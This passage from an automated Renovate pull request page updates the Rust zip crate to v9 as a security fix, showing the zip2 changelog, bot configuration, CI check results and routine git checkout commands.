Source](https://github.com/zip-rs/zip2/compare/v7.3.0...v7.4.0) ##### <!-- 0 -->🚀 Features - Increase MSRV to 1.88 and update dependencies ([#&#8203;626](https://github.com/zip-rs/zip2/pull/626)) ### [`v7.3.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#730---2026-02-04) [Compare Source](https://github.com/zip-rs/zip2/compare/v7.2.0...v7.3.0) ##### <!-- 0 -->🚀 Features - cleanup the benchmarks and Cargo.toml ([#&#8203;606](https://github.com/zip-rs/zip2/pull/606)) - Add support for per-file comments ([#&#8203;543](https://github.com/zip-rs/zip2/pull/543)) ##### <!-- 1 -->🐛 Bug Fixes - Document feature `unreserved` and make the mapping of extra fields public ([#&#8203;616](https://github.com/zip-rs/zip2/pull/616)) - Return an error if abort_file() fails when exceeding non-large-file limit ([#&#8203;598](https://github.com/zip-rs/zip2/pull/598)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Bump version to 7.3.0 (semver checks fail if it's still 7.3.0-pre1) ### [`v7.2.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#720---2026-01-20) [Compare Source](https://github.com/zip-rs/zip2/compare/v7.1.0...v7.2.0) ##### <!-- 0 -->🚀 Features - add read_zipfile_from_stream_with_compressed_size ([#&#8203;70](https://github.com/zip-rs/zip2/pull/70)) - Allow choosing bzip2 rust backend ([#&#8203;329](https://github.com/zip-rs/zip2/pull/329)) ##### <!-- 1 -->🐛 Bug Fixes - Need to include zip64 extra field in central directory (fix [#&#8203;353](https://github.com/zip-rs/zip2/issues/353)) ([#&#8203;360](https://github.com/zip-rs/zip2/pull/360)) - Fails to extract file which might or might not be malformed ([#&#8203;376](https://github.com/zip-rs/zip2/pull/376)) ([#&#8203;426](https://github.com/zip-rs/zip2/pull/426)) - *(aes)* Allow AES encryption while streaming ([#&#8203;463](https://github.com/zip-rs/zip2/pull/463)) - Default "platform" field in zip files should be set to the local platform, rather than always "Unix" ([#&#8203;470](https://github.com/zip-rs/zip2/pull/470)) ([#&#8203;471](https://github.com/zip-rs/zip2/pull/471)) ##### <!-- 2 -->🚜 Refactor - Define cfg_if! and cfg_if_expr! internal macros ([#&#8203;438](https://github.com/zip-rs/zip2/pull/438)) ##### <!-- 4 -->⚡ Performance - Change an assert to debug_assert when encrypting/decrypting AES, and eliminate a fallible operation ([#&#8203;521](https://github.com/zip-rs/zip2/pull/521)) - eliminate a String clone per new file added to archive, and other related refactors ([#&#8203;522](https://github.com/zip-rs/zip2/pull/522)) ### [`v7.1.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#710---2026-01-14) [Compare Source](https://github.com/zip-rs/zip2/compare/v7.0.0...v7.1.0) ##### <!-- 0 -->🚀 Features - display the underlying error in Display impl for `ZipError` ([#&#8203;483](https://github.com/zip-rs/zip2/pull/483)) - Enable creation of `ZipArchive` without reparsing ([#&#8203;485](https://github.com/zip-rs/zip2/pull/485)) ##### <!-- 1 -->🐛 Bug Fixes - Return InvalidPassword rather than panic when AES key is the wrong length ([#&#8203;457](https://github.com/zip-rs/zip2/pull/457)) - bench with auto zip64 comment ([#&#8203;505](https://github.com/zip-rs/zip2/pull/505)) - add condition for `getrandom` dependency ([#&#8203;504](https://github.com/zip-rs/zip2/pull/504)) - *(zipcrypto)* Support streaming ZipCrypto encryption, don't store entire file in memory ([#&#8203;462](https://github.com/zip-rs/zip2/pull/462)) ##### <!-- 2 -->🚜 Refactor - Clean up imports and move types ([#&#8203;461](https://github.com/zip-rs/zip2/pull/461)) - Replace handwritten `Ord` and `PartialOrd` for `DateTime` ([#&#8203;484](https://github.com/zip-rs/zip2/pull/484)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Lock `lzma-rust2` to at least 0.15.5 ([#&#8203;491](https://github.com/zip-rs/zip2/pull/491)) ### [`v7.0.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#700---2025-12-05) [Compare Source](https://github.com/zip-rs/zip2/compare/v6.0.0...v7.0.0) ##### <!-- 9 -->⚠️ Breaking Changes - Removed the following features: `getrandom`, `hmac`, `pbkdf2`, `sha1`, `zeroize`. - Removed `lzma-static` and `xz-static` feature flags, which were deprecated synonyms of `lzma` and `xz`. ([#&#8203;405](https://github.com/zip-rs/zip2/pull/405), [#&#8203;425](https://github.com/zip-rs/zip2/pull/425)) ##### <!-- 0 -->🚀 Features - *(`SimpleFileOptions`)* const DEFAULT implementation ([#&#8203;474](https://github.com/zip-rs/zip2/pull/474)) - ZipWriter `set_auto_large_file()` method to enable large-file data descriptor when necessary ([#&#8203;468](https://github.com/zip-rs/zip2/pull/468)) ##### <!-- 1 -->🐛 Bug Fixes - print previous error when failing to search another cde ([#&#8203;460](https://github.com/zip-rs/zip2/pull/460)) - cargo doc warnings ([#&#8203;472](https://github.com/zip-rs/zip2/pull/472)) - Write ZIP64 data descriptors when large_file option is true ([#&#8203;467](https://github.com/zip-rs/zip2/pull/467)) - Pin generic-array to an old version to work around [RustCrypto/traits#2036](https://github.com/RustCrypto/traits/issues/2036) until next RustCrypto & aes-crypto releases ([#&#8203;458](https://github.com/zip-rs/zip2/pull/458)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Revert version bump so that release-plz will trigger - expose more flate2 feature flags ([#&#8203;476](https://github.com/zip-rs/zip2/pull/476)) - Next release will be 7.0.0 - release v6.0.0 ([#&#8203;442](https://github.com/zip-rs/zip2/pull/442)) ##### Deps - Bump lzma-rust2 to v0.15 ([#&#8203;465](https://github.com/zip-rs/zip2/pull/465)) ### [`v6.0.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#700---2025-12-05) [Compare Source](https://github.com/zip-rs/zip2/compare/v5.1.1...v6.0.0) ##### <!-- 9 -->⚠️ Breaking Changes - Removed the following features: `getrandom`, `hmac`, `pbkdf2`, `sha1`, `zeroize`. - Removed `lzma-static` and `xz-static` feature flags, which were deprecated synonyms of `lzma` and `xz`. ([#&#8203;405](https://github.com/zip-rs/zip2/pull/405), [#&#8203;425](https://github.com/zip-rs/zip2/pull/425)) ##### <!-- 0 -->🚀 Features - *(`SimpleFileOptions`)* const DEFAULT implementation ([#&#8203;474](https://github.com/zip-rs/zip2/pull/474)) - ZipWriter `set_auto_large_file()` method to enable large-file data descriptor when necessary ([#&#8203;468](https://github.com/zip-rs/zip2/pull/468)) ##### <!-- 1 -->🐛 Bug Fixes - print previous error when failing to search another cde ([#&#8203;460](https://github.com/zip-rs/zip2/pull/460)) - cargo doc warnings ([#&#8203;472](https://github.com/zip-rs/zip2/pull/472)) - Write ZIP64 data descriptors when large_file option is true ([#&#8203;467](https://github.com/zip-rs/zip2/pull/467)) - Pin generic-array to an old version to work around [RustCrypto/traits#2036](https://github.com/RustCrypto/traits/issues/2036) until next RustCrypto & aes-crypto releases ([#&#8203;458](https://github.com/zip-rs/zip2/pull/458)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Revert version bump so that release-plz will trigger - expose more flate2 feature flags ([#&#8203;476](https://github.com/zip-rs/zip2/pull/476)) - Next release will be 7.0.0 - release v6.0.0 ([#&#8203;442](https://github.com/zip-rs/zip2/pull/442)) ##### Deps - Bump lzma-rust2 to v0.15 ([#&#8203;465](https://github.com/zip-rs/zip2/pull/465)) ### [`v5.1.1`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#511---2025-09-11) [Compare Source](https://github.com/zip-rs/zip2/compare/v5.1.0...v5.1.1) ##### <!-- 1 -->🐛 Bug Fixes - panic when reading empty extended-timestamp field ([#&#8203;404](https://github.com/zip-rs/zip2/pull/404)) ([#&#8203;422](https://github.com/zip-rs/zip2/pull/422)) - Restore original file timestamp when unzipping with `chrono` ([#&#8203;46](https://github.com/zip-rs/zip2/pull/46)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Configure Amazon Q rules ([#&#8203;421](https://github.com/zip-rs/zip2/pull/421)) ### [`v5.1.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#510---2025-09-10) [Compare Source](https://github.com/zip-rs/zip2/compare/v5.0.1...v5.1.0) ##### <!-- 0 -->🚀 Features - Add legacy shrink/reduce/implode compression ([#&#8203;303](https://github.com/zip-rs/zip2/pull/303)) ### [`v5.0.1`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#501---2025-09-09) [Compare Source](https://github.com/zip-rs/zip2/compare/v5.0.0...v5.0.1) ##### <!-- 1 -->🐛 Bug Fixes - AES metadata was not copied correctly in raw copy methods, which could corrupt the copied file. ([#&#8203;417](https://github.com/zip-rs/zip2/pull/417)) ### [`v5.0.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#500---2025-09-05) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.6.1...v5.0.0) ##### <!-- 0 -->🚀 Features - Implement by_path\*() methods on ZipArchive ([#&#8203;382](https://github.com/zip-rs/zip2/pull/382)) ### [`v4.6.1`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#461---2025-09-03) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.6.0...v4.6.1) ##### <!-- 1 -->🐛 Bug Fixes - Fixes an issue introduced by the swap from `lzma-rs` to `liblzma` ([#&#8203;407](https://github.com/zip-rs/zip2/pull/407)) ### [`v4.6.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#460---2025-08-30) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.5.0...v4.6.0) ##### <!-- 0 -->🚀 Features - Allow to read zip files with unsupported extended timestamps ([#&#8203;400](https://github.com/zip-rs/zip2/pull/400)) ##### <!-- 1 -->🐛 Bug Fixes - enable clamp_opt for ppmd and xz ([#&#8203;401](https://github.com/zip-rs/zip2/pull/401)) ### [`v4.5.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#450---2025-08-21) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.4.0...v4.5.0) ##### <!-- 0 -->🚀 Features - Allow reading ZIP files where the central directory comes *before* the files ([#&#8203;384](https://github.com/zip-rs/zip2/pull/384)) ([#&#8203;396](https://github.com/zip-rs/zip2/pull/396)) ### [`v4.4.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#440---2025-08-21) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.3.0...v4.4.0) ##### <!-- 0 -->🚀 Features - Add `lzma-static` and `xz-static` features that enable `liblzma/static` ([#&#8203;393](https://github.com/zip-rs/zip2/pull/393)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Move deprecated annotations to fix a Clippy warning ([#&#8203;391](https://github.com/zip-rs/zip2/pull/391)) ### [`v4.3.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#430---2025-07-09) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.2.0...v4.3.0) ##### <!-- 0 -->🚀 Features - Add support for PPMd ([#&#8203;370](https://github.com/zip-rs/zip2/pull/370)) ### [`v4.2.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#420---2025-06-21) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.1.0...v4.2.0) ##### <!-- 0 -->🚀 Features - Write ZIP file to stream ([#&#8203;246](https://github.com/zip-rs/zip2/pull/246)) ### [`v4.1.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#410---2025-06-14) [Compare Source](https://github.com/zip-rs/zip2/compare/v4.0.0...v4.1.0) ##### <!-- 0 -->🚀 Features - Add has_overlapping_files method ### [`v4.0.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#400---2025-05-21) [Compare Source](https://github.com/zip-rs/zip2/compare/v3.0.0...v4.0.0) ##### <!-- 1 -->🐛 Bug Fixes - Allow extraction of Zip64 where "Version needed to extract" is higher than "Version made by" ([#&#8203;356](https://github.com/zip-rs/zip2/pull/356)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Revert nt-time upgrade (would increase MSRV) - Revert constant_time_eq update (would increase MSRV) - Update fully-qualified names of liblzma imports ### [`v3.0.0`](https://github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#300---2025-05-14) [Compare Source](https://github.com/zip-rs/zip2/compare/v2.6.1...v3.0.0) ##### <!-- 1 -->🐛 Bug Fixes - return correct offset in SeekableTake::seek ([#&#8203;342](https://github.com/zip-rs/zip2/pull/342)) - When only zopfli is available, decompression of deflate should not be possible ([#&#8203;348](https://github.com/zip-rs/zip2/pull/348)) - Specify `flate2` dependency of the `deflate-flate2` feature. ([#&#8203;345](https://github.com/zip-rs/zip2/pull/345)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - drop unused crossbeam-utils dependency ([#&#8203;339](https://github.com/zip-rs/zip2/pull/339)) - remove `deflate-flate2` dependency on specific backend - \[**breaking**] Drop deprecated `deflate-miniz` feature flag ([#&#8203;351](https://github.com/zip-rs/zip2/pull/351)) </details> --- ### Configuration 📅 **Schedule**: (in timezone UTC) - Branch creation - At any time (no schedule defined) - Automerge - Between 05:00 AM and 11:59 PM (`* 5-23 * * *`) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODEuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJzZWN1cml0eSJdfQ==-->
Update Rust crate zip to v9 [SECURITY]
All checks were successful
Apple / Apple (pull_request) Successful in 47s
release / build (macos-latest, true, aarch64-apple-darwin) (pull_request) Successful in 8m7s
release / build (macos-latest, true, x86_64-apple-darwin) (pull_request) Successful in 9m2s
CI / check (pull_request) Successful in 4m56s
CI / wasm (pull_request) Successful in 4m27s
release / build (ubuntu-24.04, false, x86_64-pc-windows-gnu) (pull_request) Successful in 6m50s
release / build (ubuntu-24.04, true, aarch64-unknown-linux-musl) (pull_request) Successful in 6m27s
release / build (ubuntu-24.04, true, x86_64-unknown-linux-musl) (pull_request) Successful in 6m21s
release / release (pull_request) Has been skipped
release / homebrew (pull_request) Has been skipped
release / docker (pull_request) Has been skipped
Android / android (pull_request) Successful in 20m8s
c471a11680
renovate force-pushed renovate/crate-zip-vulnerability from c471a11680
All checks were successful
Apple / Apple (pull_request) Successful in 47s
release / build (macos-latest, true, aarch64-apple-darwin) (pull_request) Successful in 8m7s
release / build (macos-latest, true, x86_64-apple-darwin) (pull_request) Successful in 9m2s
CI / check (pull_request) Successful in 4m56s
CI / wasm (pull_request) Successful in 4m27s
release / build (ubuntu-24.04, false, x86_64-pc-windows-gnu) (pull_request) Successful in 6m50s
release / build (ubuntu-24.04, true, aarch64-unknown-linux-musl) (pull_request) Successful in 6m27s
release / build (ubuntu-24.04, true, x86_64-unknown-linux-musl) (pull_request) Successful in 6m21s
release / release (pull_request) Has been skipped
release / homebrew (pull_request) Has been skipped
release / docker (pull_request) Has been skipped
Android / android (pull_request) Successful in 20m8s
to cb8be4fd6a
All checks were successful
Apple / Apple (pull_request) Successful in 58s
release / build (macos-latest, true, aarch64-apple-darwin) (pull_request) Successful in 4m42s
release / build (macos-latest, true, x86_64-apple-darwin) (pull_request) Successful in 4m57s
CI / check (pull_request) Successful in 6m1s
CI / wasm (pull_request) Successful in 7m1s
release / build (ubuntu-24.04, false, x86_64-pc-windows-gnu) (pull_request) Successful in 11m44s
release / build (ubuntu-24.04, true, aarch64-unknown-linux-musl) (pull_request) Successful in 14m8s
Android / android (pull_request) Successful in 34m54s
release / build (ubuntu-24.04, true, x86_64-unknown-linux-musl) (pull_request) Successful in 10m25s
release / release (pull_request) Has been skipped
release / homebrew (pull_request) Has been skipped
release / docker (pull_request) Has been skipped
2026-11-28 13:21:38 +00:00
Compare
All checks were successful
Apple / Apple (pull_request) Successful in 58s
release / build (macos-latest, true, aarch64-apple-darwin) (pull_request) Successful in 4m42s
release / build (macos-latest, true, x86_64-apple-darwin) (pull_request) Successful in 4m57s
CI / check (pull_request) Successful in 6m1s
CI / wasm (pull_request) Successful in 7m1s
release / build (ubuntu-24.04, false, x86_64-pc-windows-gnu) (pull_request) Successful in 11m44s
release / build (ubuntu-24.04, true, aarch64-unknown-linux-musl) (pull_request) Successful in 14m8s
Android / android (pull_request) Successful in 34m54s
release / build (ubuntu-24.04, true, x86_64-unknown-linux-musl) (pull_request) Successful in 10m25s
release / release (pull_request) Has been skipped
release / homebrew (pull_request) Has been skipped
release / docker (pull_request) Has been skipped
This pull request has changes conflicting with the target branch.
  • Cargo.lock
View command line instructions

Manual merge helper

Use this merge commit message when completing the merge manually.

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin 'renovate/crate-zip-vulnerability:renovate/crate-zip-vulnerability'
git switch 'renovate/crate-zip-vulnerability'
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
backmeupplz/plaintext!33
No description provided.